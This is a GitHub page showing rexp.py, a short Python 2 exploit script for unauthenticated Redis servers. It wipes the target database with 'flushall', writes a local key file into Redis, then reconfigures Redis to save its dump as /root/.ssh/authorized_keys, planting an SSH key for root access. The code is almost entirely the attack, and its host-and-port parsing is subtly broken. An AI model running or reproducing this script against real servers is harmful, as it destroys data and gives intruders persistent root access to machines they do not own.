-
Notifications
You must be signed in to change notification settings - Fork 30
/
rexp.py
44 lines (40 loc) · 838 Bytes
/
rexp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
from os import system
from sys import argv
def send(conn,cmd):
try:
conn.send(cmd+"\n")
recv=conn.recv(5)
#conn.close()
recv=recv.replace("\n",''),
return recv
except:
return False
def conn_redis(args):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
args=args.split(":")
host=args[0]
port=int(args[1])
try:
client.connect((host, port))
return client
except:
return False
if len(argv)!=2:
print "Usage: python rexp.py 127.0.0.1:6379"
exit()
host=argv[1]
host.split(":")
port=6379
if len(host)==2:
port=int(host[1])
conn=conn_redis("%s:%d"%(host,port))
send(conn,"flushall")
system("cat foo.txt| redis-cli -h %s -p %d -x set pwn"%(host,port))
cmd='''CONFIG set dir /root/.ssh/
config set dbfilename authorized_keys
save
exit'''
cmd=cmd.split("\n")
for c in cmd:
send(conn,c)